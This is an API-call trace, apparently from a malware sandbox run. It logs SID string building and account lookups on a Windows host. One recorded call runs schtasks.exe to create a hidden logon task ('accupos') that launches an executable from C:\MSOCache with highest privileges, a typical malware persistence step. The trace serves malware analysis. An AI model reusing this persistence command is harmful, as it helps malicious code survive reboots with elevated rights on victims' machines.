[0123.023] free (_Block=0x196ef0d1980) [0123.023] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0123.023] malloc (_Size=0x18) returned 0x196ef0d1c00 [0123.023] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0123.023] SysStringLen (param_1="3990802383") returned 0xa [0123.023] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee777bb8, _Size=0x2a | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0123.023] memcpy (in: _Dst=0x196ee7bbb80, _Src=0x196ee7c7678, _Size=0x16 | out: _Dst=0x196ee7bbb80) returned 0x196ee7bbb80 [0123.023] free (_Block=0x196ef0d1ac0) [0123.023] free (_Block=0x196ef0d1ea0) [0123.023] GetSidSubAuthority (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0c34 [0123.023] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0123.023] malloc (_Size=0x18) returned 0x196ef0d1be0 [0123.023] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0123.023] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0123.024] SysStringLen (param_1="-") returned 0x1 [0123.024] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x3e | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0123.024] memcpy (in: _Dst=0x196ee7ba874, _Src=0x196ee7c7678, _Size=0x4 | out: _Dst=0x196ee7ba874) returned 0x196ee7ba874 [0123.024] free (_Block=0x196ef0d1c00) [0123.024] free (_Block=0x196ef0d1be0) [0123.024] malloc (_Size=0x18) returned 0x196ef0d1a20 [0123.024] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0123.024] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0123.024] SysStringLen (param_1="1811730007") returned 0xa [0123.024] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x40 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0123.024] memcpy (in: _Dst=0x196ee7bbb96, _Src=0x196ee7c7678, _Size=0x16 | out: _Dst=0x196ee7bbb96) returned 0x196ee7bbb96 [0123.024] free (_Block=0x196ef0d1ee0) [0123.024] free (_Block=0x196ef0d1a20) [0123.024] GetSidSubAuthority (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0c38 [0123.024] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0123.024] malloc (_Size=0x18) returned 0x196ef0d1c40 [0123.024] malloc (_Size=0x18) returned 0x196ef0d2020 [0123.024] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0123.024] SysStringLen (param_1="-") returned 0x1 [0123.024] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x54 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0123.024] memcpy (in: _Dst=0x196ee7ba88a, _Src=0x196ee7c7678, _Size=0x4 | out: _Dst=0x196ee7ba88a) returned 0x196ee7ba88a [0123.024] free (_Block=0x196ef0d1cc0) [0123.024] free (_Block=0x196ef0d1c40) [0123.024] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0123.025] malloc (_Size=0x18) returned 0x196ef0d1c20 [0123.025] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0123.025] SysStringLen (param_1="1000") returned 0x4 [0123.025] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x56 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0123.025] memcpy (in: _Dst=0x196ee7bbbac, _Src=0x196ee7c7678, _Size=0xa | out: _Dst=0x196ee7bbbac) returned 0x196ee7bbbac [0123.025] free (_Block=0x196ef0d2020) [0123.025] free (_Block=0x196ef0d1fa0) [0123.025] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0123.025] malloc (_Size=0x5e) returned 0x196ef0d0610 [0123.025] free (_Block=0x196ef0d1c20) [0123.025] malloc (_Size=0x18) returned 0x196ef0d1a20 [0123.026] free (_Block=0x196ef0d0610) [0123.026] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 0 [0123.027] GetLastError () returned 0x7a [0123.027] malloc (_Size=0x1a) returned 0x196ef0f9bb0 [0123.027] malloc (_Size=0xe) returned 0x196ef0d1bc0 [0123.027] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9bb0, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1bc0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 1 [0123.028] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0123.028] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0123.028] free (_Block=0x196ef0f9bb0) [0123.028] free (_Block=0x196ef0d1bc0) [0123.028] free (_Block=0x196ef0f9b80) [0123.028] free (_Block=0x196ef0d1aa0) [0123.028] free (_Block=0x196ef0d1ee0) [0123.028] free (_Block=0x196ef0d1a20) [0123.029] free (_Block=0x196ef0d0c10) [0123.029] GetVersionExW (in: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0xee7b29f8, dwBuildNumber=0x196, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0123.029] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0123.029] GetLastError () returned 0x7a [0123.029] malloc (_Size=0x2c) returned 0x196ef0d1510 [0123.029] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x196ef0d1510, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d1510, ReturnLength=0x67117c740) returned 1 [0123.029] IsValidSid (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0123.029] GetLengthSid (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0123.029] malloc (_Size=0x1c) returned 0x196ef0fa060 [0123.029] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0fa060, pSourceSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0fa060*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0123.029] GetSidIdentifierAuthority (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d1522 [0123.029] malloc (_Size=0x18) returned 0x196ef0d2000 [0123.030] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0123.030] malloc (_Size=0x18) returned 0x196ef0d1da0 [0123.030] malloc (_Size=0x18) returned 0x196ef0d1b40 [0123.030] SysStringLen (param_1="S-1-") returned 0x4 [0123.030] SysStringLen (param_1="5") returned 0x1 [0123.030] memcpy (in: _Dst=0x196ee7c7078, _Src=0x196ee7c7678, _Size=0xa | out: _Dst=0x196ee7c7078) returned 0x196ee7c7078 [0123.030] memcpy (in: _Dst=0x196ee7c7080, _Src=0x196ee7aa688, _Size=0x4 | out: _Dst=0x196ee7c7080) returned 0x196ee7c7080 [0123.030] free (_Block=0x196ef0d2000) [0123.030] free (_Block=0x196ef0d1da0) [0123.030] GetSidSubAuthorityCount (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d1521 [0123.030] GetSidSubAuthority (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d1528 [0123.030] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0123.030] malloc (_Size=0x18) returned 0x196ef0d2060 [0123.030] malloc (_Size=0x18) returned 0x196ef0d1a20 [0123.030] SysStringLen (param_1="S-1-5") returned 0x5 [0123.030] SysStringLen (param_1="-") returned 0x1 [0123.030] memcpy (in: _Dst=0x196ee7aa688, _Src=0x196ee7c7078, _Size=0xc | out: _Dst=0x196ee7aa688) returned 0x196ee7aa688 [0123.030] memcpy (in: _Dst=0x196ee7aa692, _Src=0x196ee7c7678, _Size=0x4 | out: _Dst=0x196ee7aa692) returned 0x196ee7aa692 [0123.030] free (_Block=0x196ef0d1b40) [0123.030] free (_Block=0x196ef0d2060) [0123.030] malloc (_Size=0x18) returned 0x196ef0d1e60 [0123.030] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0123.030] SysStringLen (param_1="S-1-5-") returned 0x6 [0123.031] SysStringLen (param_1="21") returned 0x2 [0123.031] memcpy (in: _Dst=0x196ee7c7678, _Src=0x196ee7aa688, _Size=0xe | out: _Dst=0x196ee7c7678) returned 0x196ee7c7678 [0123.031] memcpy (in: _Dst=0x196ee7c7684, _Src=0x196ee7c7078, _Size=0x6 | out: _Dst=0x196ee7c7684) returned 0x196ee7c7684 [0123.031] free (_Block=0x196ef0d1a20) [0123.031] free (_Block=0x196ef0d1e60) [0123.031] GetSidSubAuthority (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d152c [0123.031] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0123.031] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0123.031] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0123.031] SysStringLen (param_1="S-1-5-21") returned 0x8 [0123.031] SysStringLen (param_1="-") returned 0x1 [0123.031] memcpy (in: _Dst=0x196ee7c7078, _Src=0x196ee7c7678, _Size=0x12 | out: _Dst=0x196ee7c7078) returned 0x196ee7c7078 [0123.031] memcpy (in: _Dst=0x196ee7c7088, _Src=0x196ee7aa688, _Size=0x4 | out: _Dst=0x196ee7c7088) returned 0x196ee7c7088 [0123.031] free (_Block=0x196ef0d1fc0) [0123.031] free (_Block=0x196ef0d1cc0) [0123.031] malloc (_Size=0x18) returned 0x196ef0d1a80 [0123.031] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0123.031] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0123.031] SysStringLen (param_1="1560258661") returned 0xa [0123.031] memcpy (in: _Dst=0x196ee777d48, _Src=0x196ee7c7078, _Size=0x14 | out: _Dst=0x196ee777d48) returned 0x196ee777d48 [0123.031] memcpy (in: _Dst=0x196ee777d5a, _Src=0x196ee7c7678, _Size=0x16 | out: _Dst=0x196ee777d5a) returned 0x196ee777d5a [0123.031] free (_Block=0x196ef0d1ce0) [0123.031] free (_Block=0x196ef0d1a80) [0123.031] GetSidSubAuthority (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d1530 [0123.032] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0123.032] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0123.032] malloc (_Size=0x18) returned 0x196ef0d2080 [0123.032] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0123.032] SysStringLen (param_1="-") returned 0x1 [0123.032] memcpy (in: _Dst=0x196ee777bb8, _Src=0x196ee777d48, _Size=0x28 | out: _Dst=0x196ee777bb8) returned 0x196ee777bb8 [0123.032] memcpy (in: _Dst=0x196ee777bde, _Src=0x196ee7c7078, _Size=0x4 | out: _Dst=0x196ee777bde) returned 0x196ee777bde [0123.032] free (_Block=0x196ef0d1ba0) [0123.032] free (_Block=0x196ef0d1fa0) [0123.032] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0123.032] malloc (_Size=0x18) returned 0x196ef0d1b20 [0123.032] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0123.032] SysStringLen (param_1="3990802383") returned 0xa [0123.032] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee777bb8, _Size=0x2a | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0123.032] memcpy (in: _Dst=0x196ee7ba860, _Src=0x196ee7c7078, _Size=0x16 | out: _Dst=0x196ee7ba860) returned 0x196ee7ba860 [0123.032] free (_Block=0x196ef0d2080) [0123.032] free (_Block=0x196ef0d1ec0) [0123.032] GetSidSubAuthority (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d1534 [0123.032] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0123.032] malloc (_Size=0x18) returned 0x196ef0d1de0 [0123.032] malloc (_Size=0x18) returned 0x196ef0d1b40 [0123.033] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0123.033] SysStringLen (param_1="-") returned 0x1 [0123.033] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x3e | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0123.033] memcpy (in: _Dst=0x196ee7bbb94, _Src=0x196ee7c7078, _Size=0x4 | out: _Dst=0x196ee7bbb94) returned 0x196ee7bbb94 [0123.033] free (_Block=0x196ef0d1b20) [0123.033] free (_Block=0x196ef0d1de0) [0123.033] malloc (_Size=0x18) returned 0x196ef0d1a20 [0123.033] malloc (_Size=0x18) returned 0x196ef0d1d00 [0123.033] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0123.033] SysStringLen (param_1="1811730007") returned 0xa [0123.033] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x40 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0123.033] memcpy (in: _Dst=0x196ee7ba876, _Src=0x196ee7c7078, _Size=0x16 | out: _Dst=0x196ee7ba876) returned 0x196ee7ba876 [0123.033] free (_Block=0x196ef0d1b40) [0123.033] free (_Block=0x196ef0d1a20) [0123.033] GetSidSubAuthority (pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d1538 [0123.033] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0123.033] malloc (_Size=0x18) returned 0x196ef0d1a20 [0123.033] malloc (_Size=0x18) returned 0x196ef0d1f60 [0123.033] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0123.033] SysStringLen (param_1="-") returned 0x1 [0123.033] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x54 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0123.033] memcpy (in: _Dst=0x196ee7bbbaa, _Src=0x196ee7c7078, _Size=0x4 | out: _Dst=0x196ee7bbbaa) returned 0x196ee7bbbaa [0123.033] free (_Block=0x196ef0d1d00) [0123.033] free (_Block=0x196ef0d1a20) [0123.034] malloc (_Size=0x18) returned 0x196ef0d1e20 [0123.034] malloc (_Size=0x18) returned 0x196ef0d1d60 [0123.034] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0123.034] SysStringLen (param_1="1000") returned 0x4 [0123.034] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x56 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0123.034] memcpy (in: _Dst=0x196ee7ba88c, _Src=0x196ee7c7078, _Size=0xa | out: _Dst=0x196ee7ba88c) returned 0x196ee7ba88c [0123.034] free (_Block=0x196ef0d1f60) [0123.034] free (_Block=0x196ef0d1e20) [0123.034] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0123.034] malloc (_Size=0x5e) returned 0x196ef0d0530 [0123.034] free (_Block=0x196ef0d1d60) [0123.034] malloc (_Size=0x18) returned 0x196ef0d1d40 [0123.035] free (_Block=0x196ef0d0530) [0123.035] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 0 [0123.067] GetLastError () returned 0x7a [0123.067] malloc (_Size=0x1a) returned 0x196ef0f9b50 [0123.067] malloc (_Size=0xe) returned 0x196ef0d1ae0 [0123.067] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9b50, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1ae0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 1 [0123.068] malloc (_Size=0x18) returned 0x196ef0d1e20 [0123.068] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0123.068] free (_Block=0x196ef0f9b50) [0123.068] free (_Block=0x196ef0d1ae0) [0123.068] free (_Block=0x196ef0fa060) [0123.068] free (_Block=0x196ef0d1fc0) [0123.068] free (_Block=0x196ef0d1e20) [0123.068] free (_Block=0x196ef0d1d40) [0123.069] free (_Block=0x196ef0d1510) [0123.069] SetEvent (hEvent=0x248) returned 1 [0123.069] free (_Block=0x196ef0cc850) [0123.069] CreateEnvironmentBlock () returned 0x1 [0123.075] malloc (_Size=0x18) returned 0x196ef0d1c00 [0123.075] CreateProcessAsUserW (in: hToken=0x26c, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"accupos\" /sc ONLOGON /tr \"'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x67117c860*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x67117c708 | out: lpCommandLine="schtasks.exe /create /tn \"accupos\" /sc ONLOGON /tr \"'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'\" /rl HIGHEST /f", lpProcessInformation=0x67117c708*(hProcess=0x260, hThread=0x264, dwProcessId=0x134c, dwThreadId=0x1340)) returned 1 [0123.081] CloseHandle (hObject=0x260) returned 1 [0123.082] CloseHandle (hObject=0x264) returned 1 [0123.082] free (_Block=0x196ef0d1c00) [0123.082] DestroyEnvironmentBlock () returned 0x1 [0123.082] malloc (_Size=0x48) returned 0x196ef0cc850 [0123.082] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117c6e0 | out: lpSystemTimeAsFileTime=0x67117c6e0*(dwLowDateTime=0x2a37952c, dwHighDateTime=0x1d9eb0c)) [0123.082] SetEvent (hEvent=0x248) returned 1 [0123.083] CloseHandle (hObject=0x270) returned 1 [0123.083] CloseHandle (hObject=0x26c) returned 1 [0123.087] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788330 [0123.087] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788330, pulNumLanguages=0x67117dfe0 | out: pulNumLanguages=0x67117dfe0) returned 1 [0123.087] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0123.087] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788350) returned 1 [0123.864] RtlRestoreLastWin32Error () returned 0x670dbf000 [0123.864] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10) returned 1 [0123.864] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0123.864] RtlRestoreLastWin32Error () returned 0x670dbf000 [0123.864] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10) returned 1 [0123.864] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788350 [0123.864] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0123.864] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7d80 [0123.864] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7d80, pulNumLanguages=0x67117df18 | out: pulNumLanguages=0x67117df18) returned 1 [0123.864] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7d80) returned 1 [0123.866] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0123.867] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0123.868] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0123.868] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0123.868] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0123.870] GetCurrentThread () returned 0xfffffffffffffffe [0123.870] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x67117c7a0 | out: TokenHandle=0x67117c7a0*=0x26c) returned 1 [0123.871] DuplicateTokenEx (in: hExistingToken=0x26c, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x19600000001, phNewToken=0x67117c7b8 | out: phNewToken=0x67117c7b8*=0x270) returned 1 [0123.871] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0123.871] GetLastError () returned 0x7a [0123.871] malloc (_Size=0x2c) returned 0x196ef0d0f90 [0123.871] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x196ef0d0f90, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0f90, ReturnLength=0x67117c740) returned 1 [0123.871] IsValidSid (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0123.871] GetLengthSid (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0123.871] malloc (_Size=0x1c) returned 0x196ef0f9a90 [0123.871] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9a90, pSourceSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9a90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0123.871] GetSidIdentifierAuthority (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0fa2 [0123.871] malloc (_Size=0x18) returned 0x196ef0d1f40 [0123.871] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0123.871] malloc (_Size=0x18) returned 0x196ef0d1e80 [0123.871] malloc (_Size=0x18) returned 0x196ef0d1d00 [0123.871] SysStringLen (param_1="S-1-") returned 0x4 